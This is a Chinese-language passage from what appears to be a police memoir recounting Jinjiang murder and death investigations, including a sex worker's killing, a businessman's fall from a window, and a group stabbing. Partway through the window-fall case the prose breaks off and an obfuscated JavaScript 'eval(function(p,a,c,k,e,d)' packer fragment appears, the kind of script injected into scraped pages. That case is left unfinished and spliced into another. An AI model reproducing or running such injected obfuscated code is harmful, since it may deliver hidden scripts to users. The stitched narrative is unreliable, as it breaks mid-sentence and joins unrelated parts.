当时，除了各村响应号召，在村里安装有视频监控，之前08年的时候，还跟电信公司合作，政法委牵头，用租赁的方式，安装过一批全球眼，大部分全球眼都是在路口，杵了一个6米杆，摄像头装在顶上，几乎都是自带云台可以360度旋转的球机，选择的安装位置不错，但是因为安装角度不太好，大部分杵在路口，虽说可以旋转，但是画面仅能看到半个路口，加上平时无人维护，摄像头旋转的角度很随意，有些要么看天要么看低，或者看着杆子，如果要调取录像，还得去专用的电脑上，使用专用平台看，当时鞋都所就只有一台电脑可以看，好在看的人不多，使用并不频繁，每次我都能顺利的看录像。 我们赶回所里吃完晚饭，就留在所里继续看全球眼视频，方法是把嫌疑人可能去往北边的几个路口全部看一遍，不放过每一个可能，看看嫌疑人会不会出现，为了方便开展视频追踪工作，我在地图上找了一下发现嫌疑人的地点，然后根据地图画上了包围圈，再去针对性的看视频录像，看看能否有所收获。要坚信天网恢恢，疏而不漏，我们在HK村与西边村的交界大路上看到了嫌疑人的身影，此时嫌疑人脚步已经正常，视频中看着没有那么惊慌，毕竟此处离现场已经有几公里远了。 录像里，嫌疑人继续往北走，跨过了我在地图上划定的包围圈，我们只能去HK村里寻找了，但是进村后，嫌疑人就消失了，当时HK村的新村委会还在建设，老村委会在老菜市场的二楼，我们到老村委会查看监控，条件简陋，不过摄像头还可以，有几十个，分布在村里的各个位置，最后确认，嫌疑人消失靠河的一片区域。而外围的监控中，再没出现嫌疑人的身影，果断认定，嫌疑人应是藏身在那边区域。 我们走路到那边区域探查情况，是一片民宅自建房，有一些小的作坊式工厂开办在这里，主要是给各鞋厂做配套，一般在房子里面，一楼车间，二楼仓库，三楼住人或者旁边住人的这种模式，也有利用自己家院子搭一个铁皮屋，摆上几台机床，也算是一个工厂了，这种小作坊式的工厂，每个村都有非常多，雇工几个人到几十个人不等，有点全民创业的味道。由于人员多，大部分的房子里都住着人，本地人，外来公务人员，属于人员比较杂的一个区域。 晚上我们的汇总会，大家研究分析，嫌疑人就住在HK村那边区域，现在要做的是，第一查明身份，第二找到落脚点，将其抓捕归案。根据安排，我继续将那附近能找到的视频在找一遍，看能否找到更多的线索，其他人员则去那片区域访查，根据现有的条件，请晋江地区局有关部门支持一下数据分析。 我看了两天监控，人困得要命。当年的监控都是模拟信号，最普通那种，录像清晰度有限，实在无法准确找到嫌疑人的踪迹，如果他换了衣服，我根本无法认出他来。甚至晚上只有黑白色，只能通过辨认步态形态和衣服款式，看判定对象。要相信运气总是站在正义的一方。根据我个人摸索的视频侦查的原理，在海量的摄像头继续寻找蛛丝马迹，终于在其中一个摄像头的案发前几小时的录像里，发现嫌疑人的踪迹，当时他从摄像头下经过，还是穿案发时的那套衣服，走的方向便是案发现场方向。通过这个录像，基本可以判明，嫌疑人就住在HK村。根据视频资料和现场勘察的情况，我模拟还原当天的嫌疑人行动路线，嫌疑人独自出门，搭乘了一辆摩托车，前往西坂村，然后就到了案发现场。与被害人谈好价格，并发生□□易后，在发生了言语或者其他冲突，嫌疑持刀将被害人杀害后，仓皇逃离现场。 而法医通报，现场没有找到被害人致死的那把刀，根据伤口的形状判断，法医还画了一张凶器的草图样子，并且复印给我们，要我们工作中注意留心刀的下落。其他组的情况也有突破，经过查找，找到被害人的家人，据家人描述，被害人之前就是在西坂村从事皮肉生意的，后来认识了在工厂务工的老公，两人结婚，由老公上班养家，事情原本就可以结束，妓女遇到老实人从良，然后幸福的生活，这是古代戏本的套路，或者当代版杜十娘的故事，不过现实毕竟是现实，被害人并未有多少存款，两人结婚后，生活变得拮据。 事情的转变是被害人是怀孕后，发现两人基本上没有存款，生孩子需要很多钱，医药费尿布奶粉钱，为了能够攒点奶粉钱，怀孕六个月后，被害人决定重操旧业，最后命丧于此，死的时候，怀孕满七个月，一个月家里有多七千元的存款。其老公确实很老实巴交，对死者言听计从，并没有阻止，当晚还去加班。我们的同事找到他时，他还是一脸茫然，他反映他当晚曾打过被害人的手机，手机无人接听，后来还直接关机。而现场并没有发现死者的手机。进一步了解得知，是一部诺基亚折叠手机。 我负责的视频线索算是重大突破，但是没有办法直接破案，还是需要其他大量的工作，我原计划从嫌疑人搭乘的摩托车入手追查一番，但是路上的没有拍到摩托车牌照的视频探头，还因为在同一个镇里，没有经过主干道，也就没有卡口照片，不过摩托和卡口照片看不到车牌，只能看看人员特征。我并没有放弃寻找，继续找了很久，做了大量的无用功，最后还是没有找到，选择了放弃寻找。 正当我们苦恼时，K队打来电话，其他的区域有重大突破，让我们撤回，等候新的任务安排。我就回单位，整理我手上的案卷卷宗，当时我手上有多份卷宗，有盗窃案，有抢劫案，有抢夺案，嫌疑人都关在看守所，我要按法定时间内完成各项取证工作，然后报捕起诉。 案发后第七天，经过一周的侦查工作，通报说嫌疑人基本已经查明，准备动手抓人，当时我和医生国权麒麟这一组人，跟随K队，前往HK村嫌疑的藏身地，准备实施抓捕。 实际侦查过程是这样的：据被害人老公反映，被害人有一部手机，我们整理的死者遗物中没有看到这部手机，我们的侦查员怀疑被犯罪嫌疑人拿走了，于是把被害人的手机号码做了一个数据分析，案发第二天，手机曾开机过，有位置信息。而且死者生前最后一个电话是主动拨打一个陌生号码，打通了，对方没有接，而且第二天，这个陌生号码的位置跟被害人手机的位置在同一个地方，那个手机出现的位置，就在我视频中发现嫌疑人的藏身之处附近。我们有理由怀疑嫌疑人将被害人的手机带回了家，那个陌生号码就是嫌疑人的。在晋江地区局战术支援力量的支持下，我们立即赶到嫌疑人藏身地点实施抓捕。 通过指引，我们来到一处新建的混泥土框架结构的房子，这个房子面积很大，有四层，不过没有装修外面，能够清晰的看到外墙的红砖和黑灰色的混泥土的框架柱子和横梁的位置。旁边是一栋石头房子，应该是老房子。这个新建的楼房，一楼层高很高，像是铺面房，装的卷拉门，门外面是小河边的水泥路，一楼摆着一台机床，十来名工作坐在机床两边，正在各自工作，K队走在最前面，我和医生随后，在一个工人身后，K队停了下来，朝我们使了个眼色，我和医生心领神会，迅速走向那名工人，那名工人看着很面熟，但是好像有所发觉，站起来要走，我和医生一左一右控制住双手，掏出手铐将其拷着，而国权则一直在旁边用手机拍视频，多年过去了，不知道那个视频是否还有保存。 我经常说别人看着面熟，有几种情况：1在那里见过，只见过一面，我确实看过，只是忘记了，或者是朋友但交往很浅；2被我打击处理过的人或其亲属；3我追查的犯罪嫌疑人，在视频中见过了。这次这个面熟的年轻男子，证实犯罪嫌疑人，抓住后，我们押着他前往住处，他就住旁边的石头房子里的一楼一个房间，很快我们就在房间里找到了被害人的手机，还有一把折叠刀，刀上还残留着血迹。我们立即通知技术队过来勘查现场，进一步取证。 犯罪嫌疑人年仅十九岁，在审讯室，他供述他的事情经过，案发当天，他没有上班，从老板那里领了当月的生活费（当时的工厂，工资并不是月结，有点打长工的味道，也是为了节省工厂成本，有个通常做法，工资一般每月只发一部分，一半或者四六成，剩下的年底一次性发，每个月领的叫生活费），就雇一辆摩托车出去玩，在西坂的时候，碰到了被害人，被害人带着他到了案发现场，两人匆匆完成了皮肉交易，被害人还留了嫌疑人电话，约着下次还来，不过因为没有谈好价钱，嫌疑人从口袋里拿出钱的时候准备付钱的时候，本来被害人要五十块，但是后来看到犯罪嫌疑人手上有钱，就一把抓过钱，两人就此发生冲突，当时嫌疑人要拿回自己的钱，谁知被害人拿出了一把折叠刀，威胁嫌疑人，嫌疑人究竟是男子，力气较大抢过刀，被害人当时大声喊人，嫌疑人紧张之下就乱捅被害人，捅了很多刀，最后被害人不动了， 嫌疑人就拿上钱和手机逃离了现场。在外面路绕了了几下，跑回自己的住处。直到被抓。且不论说犯罪嫌疑人说的真假，可能有狡辩的成分，包括在嫌疑人住的卧室里发现了多把匕首，就有可能是嫌疑人自己带刀去的现场。事实已经发生，所有的事情都于事无补。一尸两命，七个月大的胎儿可能命中注定，作为一名天使，无法降落人间，只能重回天堂。愿他下一次能去好一点的人家里，带去欢乐和幸福。 小结：见不得人的开始，无法见人的结束。冲动是魔鬼，冲动是魔鬼，冲动是魔鬼！ 13. 第 13 章 三、离奇坠楼的老板，死因成谜 鞋都镇的湖中村，与安平市区青阳街道交界，热闹非凡，交通便利，其实与市区融为一体，各类娱乐场所也是最多的，夜场纸醉金迷，夜夜笙歌，总有人会在夜场一掷千金。也催生了很多“娱乐圈”职业，妈咪，酒保，公主，K姐，K少，如果能看懂的，绝对是夜场老司机。 这些人有一些就租住在村里，村里很多本地人，看到这个形势，就出资兴建了很多公寓楼，各种档次都有，专门用于出租。 这天我刚刚上班，就接到通知，发现一名男子仰躺在一栋公寓楼底下，已经死亡。我们几个人立即赶往现场查看情况。 我开车抵到现场，这是湖中村典型新建的出租型公寓楼，位于原规工业区内，有的建成公寓楼，有的还是自建工厂，有些也是工厂改的公寓楼，这些年，很多工厂实业经营不下去，原用于工厂生产车间的建筑物纷纷改变用途，有些是工厂业主转型直接改成了酒店、娱乐场所；还有些产权因为债务被几经易主改成了出租型公寓，快捷酒店等，都是第一产业向第三产业转型的尝试，不过大部分建筑都是火柴盒式建筑，层高普遍在6-8层，有些规划好的，有很好的院落，有点则没有，这些改为租房的楼，外墙大多是老式的外墙瓷砖，也有墙面漆，时间久远未维护，墙面斑驳，建筑外墙上排水管看上去都是水渍，墙面上还挂满了各类的线，网线、光纤线、视频线，电线，如同蜘蛛网般，这线在二楼汇聚成为一团。改成酒店的相对好一些，酒店为了经营需要，会内外重新装修。我们抵达的这整个区域呈田字形规划，非常整齐，楼与楼之间是铺装水泥路面，非常宽敞，除了通行外，还大量停放车辆，临街的一楼大多改成店铺，有些店铺还有自搭的雨棚，一副陈旧街区的模样，事实上，这个街区的形成只是近几年的事情，经济发展到一定阶段，市场优胜劣汰自然转型的产物。 案发现场已经被保护起来，湖中巡逻队员将摩托车横在现场，拉上了警戒带。刚刚入夏，早上天气不热。现场远远的能看到一名穿着很潮的男子，仰面躺在地上。走进一看，地上俨然是一具尸体，死者的头的后部塌陷，红色的血液和少量白色的脑浆从头部沿地面流出，颜色分明，看上去很新鲜，很像涮火锅时点的猪脑，整个身体扭曲，手脚均成不自然的扭曲状态，成反曲关节状态，目测已经骨折。我沿着尸体向上看，楼有8层高，因为夏天，上访的窗户大多是开着的，无法确认是从哪一层下来的，尸体上方二楼的位置有个自己搭建的铁皮顶雨棚，死者应该是从某一层窗户坠落，掉在了铁皮顶上，再次摔落在地面上，头部着地，造成死亡。 看到死者的样子，我想起了08年的一起非正常死亡，我那时是社区民警，西霞美村有一个大型的养猪场，雇有几十名工人。工人除了日常工资外，有一项福利，就是可以自己收集猪粪，晒干后可以当肥料卖掉，如果勤快的人，每个月也有不少。猪场采取包干制的，一般每个工人都是负责一排或多排猪舍的工作，包括清洗，喂食等工作，这排猪舍养的猪，粪便由包干的工人清理。一般工人都把猪粪收集好，搬到猪舍的屋顶晒干，猪舍一般高不超过2.5米，顶部是水泥制的平屋顶，天然的晾晒场，有个楼梯供上下。这天有名勤快的工人，将晒干的猪粪，用蛇皮袋装好，准备用于出售，每个蛇皮袋大约重25公斤到40公斤不等，为了能够省事，工人将装满猪粪的蛇皮袋直接扔到地面，那个屋顶也不高，基本上不会造成损坏，就算如此，这是体力劳动，一天劳作下来，工人已经有些体力透支，但是想着马上就要到手的钱，还是精神抖擞的干了起来，总共十几袋猪粪，扔了十来个，最后还剩几个，工人惯性的拿起一袋，用来往下抛，但是不知道什么原因，工人没有撒手，还是被袋子缠住了手，整个人就跟随那袋猪粪砸向地面，脑袋着地，其他人闻声过去查看，人已经气若游丝，老板立即驾车将人送往医院，后转至清源山的解放军180医院进行抢救，我收到消息，抵达医院的时候，已经抢救了六个小时，最后还是没能抢救过来，按照工作流程，我要调查死亡原因，排除他杀，之后我陪同家属区查看尸体，同时请殡仪馆的车辆过去运尸体，我是在太平间见到死者的，脑袋上头发已经剃掉，露出头皮，头皮缝针像个足球一样，应该是头骨碎成了多块，医生无力回天。脑袋着地，头骨破裂，等同于死亡，就算抢救回来，大多成为植物人甚至脑死亡。那是我第一次见到头骨破碎的样子，内心还是有些瘆得慌，随着时间的推移，已经见多不怪了，内心如同铁质一般，越来越硬实，对于各种惨绝人寰的场面，似乎有些过份的麻木了。带来的好处是，可以更加专心的从事工作，内心再轻易受影响。坏处是，变成了职业怪物。 法医很快也抵达了现场，初步判断是高坠死亡，头部为致命伤，身上多处擦伤和骨折，死亡时间未超过六小时，死前有大量饮酒。随身物品有一个钱包，车钥匙、手机等物，钱包内有身份证，车钥匙是一个丰田标志的，我们拿着按了一下开锁键，不远处一辆黑色丰田佳美闪了一下灯。 以前遇到过，小偷攀爬偷东西，从楼上坠落的事情，但是眼前这具尸体，从现有的情况分析，明显不是小偷。他是如何掉落的，究竟是他杀还是自杀，无法判断。 根据死者遗留的身份证，我们很快查清死者的身份信息，死者三十出头，属于富二代，自己创业，有一个工厂，身家过千万，老婆孩子在鞋都，有多套商品房。典型的成功人士，人生赢家，众多人羡慕的对象。他为什么会以这种方式在这里出现？一个巨大的问号在我们每个人的脑海里悬着。 我们开始分工协作，一组人调查当晚死者去了哪里，都干了什么，人和车如何到这里的；一组人联系家属，搞清楚相关情况；剩下的留在公寓楼现场，排查死者可能从哪个房间坠楼的，中心现场访查，寻找目击者。 殡仪馆的面包车如约而至，车上下来四名老面孔，几乎这种运尸的工作，都是这几个人做的。下车后，每个人麻利的带上一次性医用橡胶手套，从车上拿出一个裹尸袋，利索的将尸体装进口袋，拉上拉链，然后将尸体抬上车，我目送车辆离开我的视线。回头望尸体的位置，地上是一个人形的血印。我慢慢走到尸体的位置，闭上眼睛，试图在脑海中还原事发经过，但是，生活不是电影，我徒劳的冥想了几分钟，便回到现实。 我首先要是找视频监控，看看有没有视频监控拍到事发经过，站在尸体位置环顾四周，转了几圈，但凡我肉眼能看到的地方，都没有摄像头，放弃了寻找监控的努力。我开始朝上看，仰头望去，这栋八层的楼并不高，但是却有种说不出道不明的压迫感。几个同事已经在楼上挨个敲门询问情况了，湖中的片警也过来帮忙联系房东，查找租户资料。其实，出租房的管理一直都是盲区，绝大部分租房登记都是都是空白状态，没有办法信息化精确管理；特别是实施居住证制度以后，暂住人口需要办理各项业务才申请登记居住证，不仅如此，还设置居住证申领的门槛，而原有的暂住证取消，社区民警不再上门登记暂住证，流动人口的登记处于失控状态，很多强制的措施都取消，或者不再实施。有的时候，连房东都不知道谁住在里面，房子租出去只要每个月有钱拿就好，缺乏有效的管理方式，加上流动性强，这类租房治安形势都不乐观，处于失控状态，是各类违法犯罪嫌疑人理想的藏身之所，吸毒人员最常见，经常进房子能搜到吸食□□用的冰壶，这一切对于公安机关来说，这简直就是灾难，后果也是始料未及，但是社会的发展，特别是法治社会的进步，这些是必须要承受的阵痛。好在后来随着科技水平的飞速发展，加上整体治安形势持续好转，开始实行网格化管理，情况则大为改观。 但是那个时候，还没有网格化的管理手段，为了查清案情，我们又恢复到原始状态，开始基础信息的采集，几个人每两个人包一层的方式，问清每个住户，房间里住的是谁，并且登记清楚，同时还要询问，头天晚上有没有发现什么异常，或者看到听到什么。问题是这个，但是怎么问就靠侦查员的经验和水平了。 我们从8楼开始往下排查，我运气不错，8楼是空的，7楼住的人很少，而且都没有靠近现场的这侧。1楼2楼是打通的商铺和住宿。剩3/4/5/6四个楼层，每层大约十几个房间，也不是每个房间都有人住，到中午午饭时间的时候，我们已经把在房子里的所有人问了一遍。 午饭后我们几个将统计的信息汇总，通过分析死者手机最后通话记录，我们发现其跟住四楼的一名女子当晚曾有过联系。女子是江西省九江县人，28岁，据登记的民警反映，当时敲门的时候，女子还在睡觉，有一身的酒味，当时民警登记了身份信息和手机号码就走了。我们几个赶紧赶到那名女子位于四楼的房间，敲门后，女子一个人住，穿着朴素，张口是我熟悉略带口音的普通话，差点就认老乡了，但是多年的工作习惯，我对老乡这类不感冒，或者感情较淡。我面无表情，仔细盘问着女子的情况，打量了一下房间，房间不大，一个大间加一个卫生间，面积20个平方左右，房间放着一张双人床，一个张桌子，两个沙发椅，一个茶几，一个衣柜，都是很旧的木质家具，进入卫生间后，发现卫生间房间窗户是开着的，窗户底下正好是尸体的位置。 房间的女子李某，此时已经睡醒，酒也也退得差不多了，听她的讲述，可以确认神智已经恢复清醒。她开始回想头天晚上发生的事情。李某承认坠楼男子晚上曾来过，原来李某是一娱乐场所的“公主”（夜总会包厢专职服务员，不懂的可以百度），坠楼男子丁总是其客户，经常过来找她定包房，喝酒捧场，头天晚上丁总找她定了一个包厢，请朋友喝酒，为了感谢丁总的照顾，李某也上场陪酒，当晚喝了很多酒，丁总和李某都喝多了，凌晨，散场后，丁总非要送她回家，于是就送他到了住处，李某承认那名坠楼的男子晚上来找过他，但是他怎么离开的已经不记得了，她的记忆还处于碎片状态。从现有的情况分析，死者丁某就是从这间房间坠楼的，我从卫生间窗户探头看到楼下雨棚上还有痕迹。不用再多分析，直接确认了。 立刻通知技术队和法医到现场对房间再次进行勘察，同时传唤李某到单位接受调查。因为李某现场说得含糊不清，加上喝酒短片，记忆混乱都是碎片化的，我们也不确定她说的是否能还原事情经过，我们需要更多的证据。 现场组继续寻找有可能的目击证人。我们开始讯问李某，重新核查李某的身份，同时对她的手机进行取证，调取了通话记录进行分析。李某已经结婚，老公符某是贵州人，目前在泉州鲤城务工，两人生有一儿一女，两个孩子在九江老家由李某父母抚养。李某做公主已经有多年的历史了，之前就是在夜场跟老公结识的。我们分析了所有当晚的通讯数据，包括李某、丁某、还有符某的所有通讯情况，当晚，不仅丁某来过、符某也来过。但是，谁到过现场，我们需要更多的证据来扩展我们掌握的证据资料，还原事实真相。访查组的同事也传回消息，有人确认当晚坠落的时间凌晨3时许，而且四楼李某的房间凌晨有人敲门，还有吵闹声。 现在要做的是让李某可以开始在审讯室仔细回忆整个事情经过了，还有把符某找回来。通过分析符某的数据，李某和符某长期分居，符某在泉州还有一个姘头或者情人，进一步分析，符某情人也在某娱乐场所的陪侍人员，两人长期姘居在一起，看来符某也是经常流连夜场的浪子。 据李某回忆，当晚丁总喝完酒驾车送她回到住处，然后离开，不知道多了多久，之后又再次返回李某住处，用力敲门，李某开门后丁总并进入房间，直接躺在床上后来，又要跟李某发生性关系，但是两人醉酒厉害，而且之前李某老公有电话说晚上要来，李某就劝丁总离开，但是未能成功，不知道多了多久，李某老公不断地打电话过来，（李某的手机显示，凌晨2时30至2时50分之间，其老公符总多次来电），但是李某因醉酒醉酒不记得跟老公说了什么，再后来丁总说要离开，然后李某继续睡觉，之后其老公符某过来，来房间看了一下，就离开了。丁总怎么离开的，肯定不是李某推下去的。按照李某的说法推测，唯一的有嫌疑的人就是其老公符某。 我们致电其老公符某，发现手机已经关机，为何要关机呢，是不是做贼心虚。我们很快便将他锁定为犯罪嫌疑人，所有的侦查方向指向他。为了快速将其抓获归案，我们采取了各种手段。但是，我们发现其居无定所，而且手机关机后，他就像人间蒸发了一样，原来呆的地方都不去了，我们开始采取各种方式找他，甚至在他女朋友的住处蹲守了两天，也没见他出现。直到几天后，我们接到通知，他手机开机，出现晋江地区区，循着线索，我们赶到泉州，在清源山大道一处餐馆里找到了正在吃饭喝酒的符某。符某个子不高，170不到，身材看上去比较消瘦，当时饭店的包厢里，包厢位于一楼，临街用一面大的落地玻璃，我们几个在路边一眼就看见他在那里谈笑风生，当我们几个大汉，拿着手铐出现在他面前时，他吓得脸色惨白，束手就擒。 我们带回后，立即开展审讯工作，一到审讯室，我们开门见山讯问当晚的情况，符某定过神来，讲述当晚的事情经过：当晚，符某跟朋友在外面吃饭喝酒后，回到跟女朋友的住处，“性致”盎然，想要跟女朋友发生性关系，结果女朋友告诉他，大姨妈来了不方便，心情不好的符某甩门而出，准备嫖一下。出门下了一场短时大雨，把人浇醒了。他想起老婆还在晋江，很久没有去看她了，平时老婆都是很晚才下班，他可以过去看一下。两人的儿女还在老婆的娘家江西九江，现在的柴桑区。为了有更好的生活，两人最近在存钱，准备给子女教育的钱。打定主意，符某拦了一辆出租车，直接去老婆住处，路上给老婆打电话，说要过去。上楼到老婆李某住处门口，听到里面有男人的声音，敲门没有人应答，到了楼下网上看房间灯是亮的，符某再拨打李某的电话，但是一直没有接。符某生气的冲上四楼，用力敲门踢门，用力踹门，过了一会，李某才打开房门，生气的符某冲进房间，四处查看，找里面的男人，但是看了很久没有看到，这时突然听到楼下有巨大的响声，像是重物掉落地面的声音，符某从卫生间窗户往下查看，好像有个人，问李某是谁，李某说不知道，转身回床上继续睡觉。符某下楼查看，发现躺着一个男人，已经不动了，想到可能是从其老婆房间里的那个男人，吓得不轻，赶紧走到路口，拦了一辆出租车，急忙回泉州。泉州其女朋友住处以后，符某跟其女朋友讲了晚上发生的事情，想着可能会惹事，就决定关手机，躲几天，等事情过去了再说。 为了证实符某说的真实性，我们连夜赶到去泉州，将其女朋友请了过来，其女朋友证实了当晚符某的行动情况，证实符某当晚凌晨4时许回到住处，向她说了晋江发生的事情。 辛辛苦苦查了将近一周的时间，最后综合所有的证据，根据法医在现场发现的痕迹物证，我们终于可以还原当晚的事情经过： 死者丁某在夜总会喝完酒后，想要睡一下李某，在夜场的玩耍的一个目的差不多就是这个，于是丁某假借送酒醉的李某回家，来到了李某的住处，“金主”丁总提出的需求，李某也没有拒绝，也没有顺从，毕竟人都有一个内心在作祟，好在有醉酒这个最好的掩护；不过李某这边半推半就之时，其合法丈夫符某“性趣”来了也想要，可能当天天气很好，让人春心荡漾，不巧的是，符某的女朋友无法满足符某的需求，于是符某带着复杂的心情来到李某的住处，却不小心把丁某堵在了屋内，丁某被坏了好事，但是联想李某曾提起过符某是混社会的，为了不直接冲突，丁某躲到了卫生间窗户外面，用手抓旁边的管道，准备藏一下，或是爬到二楼的顶棚再下去，哪知酒后体力不支，没有干过力气活的丁某没有这个能力，晚上抓住的管子，是一根PVC管，软质的，无法支撑丁某的重量，他失去平衡，直接从四楼摔到了二楼的棚子上，在棚子上砸了一下后，弹落到地面，运气不太好，跌落地面头部着地，而且是几乎砸向地面，头骨破碎导致死亡，而符某循着男人说话的声音冲进房间，本想成功抓奸，不料却发现有人坠楼，害怕之余，选择了离开，躲了起来，让我们好找了几天。 好在刑事技术部门同事工作细致：法医和痕检的同事在四楼的房间内，未发现有打斗的痕迹，窗外有丁某的鞋印，窗户和窗外那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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流水线的工人，白天上班，下班后就自由活动，三五成群，四处游荡，工厂外非常热闹，各类小吃、排挡、摊贩琳琅满目，适合工人经济水平的消费场所也非常多，吃喝玩乐非常齐全。 时值盛夏，夜晚来临，河边是人员最多的，河边附近的店铺生意也非常好。突然人群中一阵骚乱，旁边的人发出惊叫声，有人慌忙拨打110，也有人拨打120，最近的鞋都卫生院，不过几百米远，120急救车疾驰而至。 鞋都所接到报警，在鞋都镇安刀村，有人受伤倒地，120确认已经死亡。L队通知我们整组人，立即停下手上的工作，到现场参加案件侦破工作，现场带队的是重案队的勇哥，当年为曾跟他一起在修水县追捕嫌疑人，他从楼上一跃而下的那位。 我们抵达现场时，法医已经到了。我详细了解了一下情况，死者男性，20岁，四川人，附近一鞋厂工人，身上多处伤痕，致命伤是是肝脏被一把刀捅破。看到尸体的时候，刀还留在身体上。据报警称，晚上死者跟他一起还有另一个朋友三人在河边玩，走到桥头，坐在那里休息，突然有十几名男子拿着刀棍酒瓶，上来指着他们就打，报警人见情况不妙，快速跑开，三人也是边挨打边跑，死者跑得比较慢，被围住，在哪里跟那帮人叫了几句，就那帮人就围着打，等那些人走了以后，报警人得以逃脱，然后报警求救，回来寻找死者，却发现死者受伤倒地，120的医生赶到时，人已经死亡。 我们询问报警人，是否认识对方，有没有过节，报警人称完全不认识对方。他跟死者是老乡，一起从四川过来这边打工的，没有跟什么人结仇，当晚也没有跟什么人发生冲突。 又是一个无头案，没有一丝防备，莫名其名就被人给捅死了，一个年轻人，背井离乡，追逐梦想，想要闯荡一下，梦还没有开始就结束了。我看着死者被装进黑色的裹尸袋，发呆了很久，整个人完全不在状态。 勇哥非常有经验，让我们针对性的开展访查工作，围观的群众很多，有很多人看到了事情经过，我们只要找到目击者，案件线索就有了。现场100米内我们分组开始了访查，很快，就有目击者称，当晚是看到一帮人从一家饭店里出来，手里都拿着工具。 我们经过仔细的访查，多个目击者都反映称，那伙人从一个饭店出来，根据指认，确认了饭店。这家饭店，典型的夫妻店，门头上有个红色的喷绘的招牌，整个饭店由两个临街铺面组成，一个开放式的厨房，老板和老板娘是兼职厨子，一个很多层的放着篮子的架子，外加一个冰柜，放着各种食材，还有饮料，没有菜单，菜有啥吃啥，现点现做。饭店的墙壁上，油烟已经留下很深的印记；有大大小小七八张桌子，桌面能感觉有一层油脂。饭店收银台是一张很小的课桌，桌面铺了一张海报，上面放着一个篮子，上面有几个本子，用于点菜算账的。有个酒柜，摆着几瓶酒，下方堆放着几箱啤酒和空瓶子。 我们到的时候，有两桌人在吃宵夜，喝着大瓶的玻璃瓶啤酒，桌面上摆着小菜。我们说明来意，老板告诉我们晚上有十几个贵州在店里吃饭，庆祝生日，还喝了很多啤酒。但是老板并不认识这些人，只知道是旁边的工厂里的，都是贵州人。 我的天，旁边的工厂有很多，怎么知道是哪家工厂的。正当我们一筹莫展之际，我突然感觉有哪里漏掉了，我就问，当时他们过生日有没有买生日蛋糕，老板说有，有没有留下什么东西在店里，生日卡之类的，蛋糕的包装，老板说好像有一个生日卡片，他在收拾桌子的时候看到的，不过全部扔了，我们赶忙问，丢弃的垃圾去哪里了，我们就在老板的指引下，在路边一处垃圾堆里翻找垃圾，夏天垃圾堆里味道确实很酸爽，好在我找到我想要的东西，一张生日卡片，上面留有过生日人的姓名，王某。 有了名字，排查的工作相对目标性就好一些，不过其他排查的同事还是老厉害了，已经找到这些人的工厂，而且有人认出当晚参与打架斗殴的人，很快我们就开始了行动，直接扑到那家工厂，在厂里抓获了当晚过生日的王某，还有参与打架的三个人，重案立即展开了审讯，问当晚还有谁参与打架，这些人还不知道那个被他们打的人已经死亡，认为就是一起打架的事情，很爽快的交代了当晚一起喝酒的十九个人身份，通过公安内网查询，这些人身份全部查清，接下来就开始了大追捕工作，用了三天时间，在各个租房，还有工厂宿舍，将这些人一个个的抓获，当有几个自己主动到派出所投案自首的。 这个案件涉案人员年纪最大的已经39岁，最小的18岁，那天我跟勇哥一起去抓年纪最大的那名男子，他在租房，我们找到他的时候，他很淡定，他说电话里已经知道事情了，所以我们去抓他，他已经做好心理准备了，那天参与打架的人全部都被抓了，说了句你们终于来了，但是那天他没有动手，只不过拿了一把扫帚跟了过去，拿了扫帚就行了，虽然没有动手，但是已经参与了，后果很严重，触犯了刑法，他后悔得一塌糊涂。 经过仔细询问和排查我基本查清了案件经过：当晚，王某过生日，邀请一帮老乡共计十九人，在饭店请客吃饭，席间，有两名老乡饮酒后出门，在桥头与人发生冲突，对方三人将两名老乡打了一顿，这两名老乡就赶回饭店，说被人欺负，这些人喝完酒，听到老乡被打，还了得，全部抄各种家伙，有拿棍子的，有拿啤酒瓶的，有拿扫把的，还有赤手空拳的，就奔过去了，到了以后，打老乡的那三人已经离开，但是现场还有三人，这些人是一伙的，不由分说，直接上去就打，这些贵州有人随身携带有刀具的习惯，在殴打过程中，不知道是谁，拿出刀，直接一刀就捅过去了，然后还继续殴打，直到死者倒地，再就全部散了。 这起案件的最后，这十九名参与寻衅滋事的人，全部依法被刑事拘留，检察院全部批捕，并且移送起诉，刑期从十几年到三年不等。都是二十出头的年轻人，背井离乡外出闯荡，逞一时之勇，毫无法制观念，毫无原则的帮助老乡，结果酿成人间悲剧，也葬送了自己的未来。这起案件并不是个案，在晋江类似的案件，非常多，有很多老乡相邀撑场面，大打出手，造成各种伤害，都是轻伤害重伤害，还有一些致人死亡的。一时之勇，把自己和他人的梦直接直接葬送，最后他们的故事尘封在某个法院的档案室里。 本案小结：出门低调，真的不能惹事，不然意外和明天不知道哪个会先来。 14. 第 14 章 五、保安之死，凶器啤酒瓶 上一个故事提到，晋江大量的工厂企业，都是民营企业，我没有见过国企，为了确保内部安全，基本上都雇佣了保安，有请远方亲戚的，也有的就是个看门老头，为了省钱，还有的则通过保安公司派驻的方式，请专业的保安，公司越大，企业效益越好，保安越年轻，也越多。我有个观点：你观察一个企业做得好坏，观察保安室就能看出来，雇佣年轻保安，而且素质较高的企业，管理水平高，有发展潜力，不过纯属个人观点。 我记得专门研究警察心理学的陈教授，我第一次听他上课的时候，他就表达出一个观点，非常看不起保安，多个理由，比如：“狗眼看人低”“狐假虎威”，很多保安摆不正自己位置。我是持不同观点的，在中国现行的环境下，但凡混到保安的岗位的，也有例外，保安出身的硕士和博士，那是极少数。绝大多数受教育程度都很低，属于狗嘴吐不出象牙来的那些人，价值观肯定是扭曲的模式，经济上的拮据，会让他们仇视一切，因为职业的需要，赋予他们某种权力，例如查验身份，看护好大门，不让陌生人进入，这种权力就是他的全部，他会发挥得淋漓尽致，有时候人一旦到达某种心理地位时，各种人性的阴暗面就会暴露出来，有时会被他无穷放大，所有的行业都会有这样的人。况且保安他的所有行为都是职业需要，他做什么都是他认为需要做，那是他的世界，有极个别，少量的保安本身有问题，存在各种类似”狗眼”情况，只能代表个人，不能代表整个行业群体的水平，再说他沟通水平有问题，难倒我们要跟他一般计较，拉回到他的水平吗？我真想跟陈教授说一下，没有必要跟保安计较。我不知道心理学上是这是什么理论。其实满足一下保安的心理优越感，可以让他工作更加积极，何乐而不为呢。 